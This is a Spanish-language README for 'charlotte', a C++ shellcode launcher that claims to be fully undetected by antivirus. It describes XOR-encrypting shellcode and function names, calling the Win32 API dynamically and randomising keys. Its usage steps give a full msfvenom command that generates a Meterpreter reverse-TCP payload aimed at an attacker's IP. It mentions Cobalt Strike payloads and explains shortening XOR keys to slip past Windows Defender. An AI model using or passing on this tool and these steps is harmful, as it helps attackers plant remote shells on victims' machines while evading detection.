charlotte

c++ lanzador de shellcode totalmente no detectado ;)

liberando esto para celebrar el nacimiento de mi recién nacido

descripción

13/05/2021:

1. lanzador de shellcode en c++, totalmente no detectado 0/26 a fecha del 13 de mayo de 2021.
2. invocación dinámica de funciones de la API de win32
3. cifrado XOR del shellcode y nombres de funciones
4. claves XOR y variables aleatorizadas por ejecución
5. en Kali Linux, simplemente 'apt-get install mingw-w64*' ¡y listo!

17/05/2021:

6. longitud de cadenas aleatorias y longitud de claves XOR

antiscan.me

uso

clona el repositorio con git, genera tu archivo de shellcode con el nombre beacon.bin, y ejecuta charlotte.py

ejemplo:

1. git clone https://github.com/9emin1/charlotte.git && apt-get install mingw-w64*
2. cd charlotte
3. msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$TU_IP LPORT=$TU_PUERTO -f raw > beacon.bin
4. python charlotte.py
5. beneficio

probado con msfvenom -p (mostrado en el .gif POC a continuación) y también con payload en formato raw de cobalt strike

actualización v1.1

17/05/21:

aparentemente Microsoft Windows Defender pudo detectar el binario .DLL,

¿y cómo lo marcaron? buscando varias claves XOR de tamaño 16 bytes

cambiándolo a 9 como se muestra en el .gif POC a continuación, ahora vuelve a estar no detectado

¡saludos!